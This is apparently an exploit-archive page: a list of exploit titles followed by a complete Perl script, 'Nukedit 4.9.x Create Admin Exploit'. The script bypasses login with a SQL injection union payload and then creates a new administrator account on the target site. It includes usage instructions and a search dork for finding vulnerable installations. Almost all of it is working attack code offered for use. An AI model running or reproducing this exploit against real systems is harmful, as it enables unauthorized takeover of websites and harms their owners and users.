477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
115 lines
3.3 KiB
Perl
Executable file
115 lines
3.3 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
###########################################################
|
|
#Title: Nukedit 4.9.x Create Admin Exploit #
|
|
# #
|
|
#Credit: r3dm0v3 #
|
|
# http://r3dm0v3.persianblog.ir #
|
|
# r3dm0v3[4t]yahoo[dot]com #
|
|
# Tehran - Iran #
|
|
# #
|
|
#Download: http://www.nukedit.com/content/Download.asp #
|
|
#Vulnerables: 4.9.x, prior versions maybe affected. #
|
|
#Remote: Yes #
|
|
#Dork: "Powered by Nukedit" #
|
|
#Fix: Not Available #
|
|
###########################################################
|
|
|
|
use LWP::UserAgent;
|
|
use HTTP::Cookies;
|
|
|
|
|
|
$host = $ARGV[0];
|
|
if (substr($host,length($host)-1,1) ne "/"){
|
|
$host.="/";
|
|
}
|
|
$usrmail = $ARGV[1];
|
|
$passwd = $ARGV[2];
|
|
$url = "http://".$host;
|
|
$usrSQL= "' union select 1,1,'r3dm0v3',4,'ENCfc2aef9fe5f2c546429e2e1d9fd737e6da5b1b94707518619576129a915d0c2c',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from tblusers where 'x'='x";
|
|
|
|
|
|
&Banner();
|
|
if (@ARGV < 3) {
|
|
&Usage();
|
|
exit(1);
|
|
}
|
|
|
|
|
|
print "[~] Host: $host \n";
|
|
print "[~] Email/Password: $usrmail/$passwd\n";
|
|
print "[~] Logging in...\n";
|
|
|
|
|
|
$xpl = LWP::UserAgent->new() || die;
|
|
$cookie_jar = HTTP::Cookies->new();
|
|
|
|
$xpl->cookie_jar( $cookie_jar );
|
|
$res = $xpl->post($url.'utilities/login.asp',
|
|
Content => [
|
|
"redir" => "/nukedit/default.asp",
|
|
"email" => "$usrSQL",
|
|
"password" => "r3dm0v3",
|
|
"savepassword" => "false",
|
|
"submit" => "Login",
|
|
],);
|
|
|
|
|
|
|
|
if ($res->content =~ /Object Moved/){
|
|
print "[+] Logged in\n";
|
|
}else{
|
|
print "[-] Can not login!\n";
|
|
exit();
|
|
}
|
|
|
|
|
|
print "[~] Creating Admin...\n";
|
|
|
|
|
|
$res = $xpl->post($url.'utilities/useradmin.asp',
|
|
Content => [
|
|
"action" => "addDB",
|
|
"username" => "r3dm0v3",
|
|
"company" => "red move",
|
|
"url" => "http://r3dm0v3.persianblog.ir",
|
|
"address" => "a",
|
|
"county" => "b",
|
|
"zip" => "666",
|
|
"country" => "Iran",
|
|
"phone" => "66666666",
|
|
"fax" => "12345678",
|
|
"email" => "$usrmail",
|
|
"password" => "$passwd",
|
|
"groupid" => "1",
|
|
"submit1" => "Add User >>",
|
|
"IP" => "127.0.0.2",
|
|
],);
|
|
|
|
|
|
if ($res->content =~ /Object Moved/){
|
|
print "[+] Admin added. Login info:\n".
|
|
" email: $usrmail\n".
|
|
" password: $passwd\n";
|
|
}else{
|
|
print "[-] Exploit failed!\n";
|
|
print $res->content;
|
|
}
|
|
|
|
|
|
|
|
sub Banner{
|
|
print "############################################################\n".
|
|
"# Nukedit 4.9.x Create Admin Exploit #\n".
|
|
"# by r3dm0v3 #\n".
|
|
"# r3dm0v3[4t]yahoo[.]com #\n".
|
|
"# http://r3dm0v3.persianblog.ir #\n".
|
|
"############################################################\n";
|
|
}
|
|
|
|
|
|
sub Usage(){
|
|
print "\n Usage: nukedit.pl <host&path> <email> <password>\n";
|
|
print " ex. : nukedit.pl site.com/nukedit/ myname\@somewhere.com 123456\n";
|
|
}
|
|
|
|
# milw0rm.com [2008-02-26]
|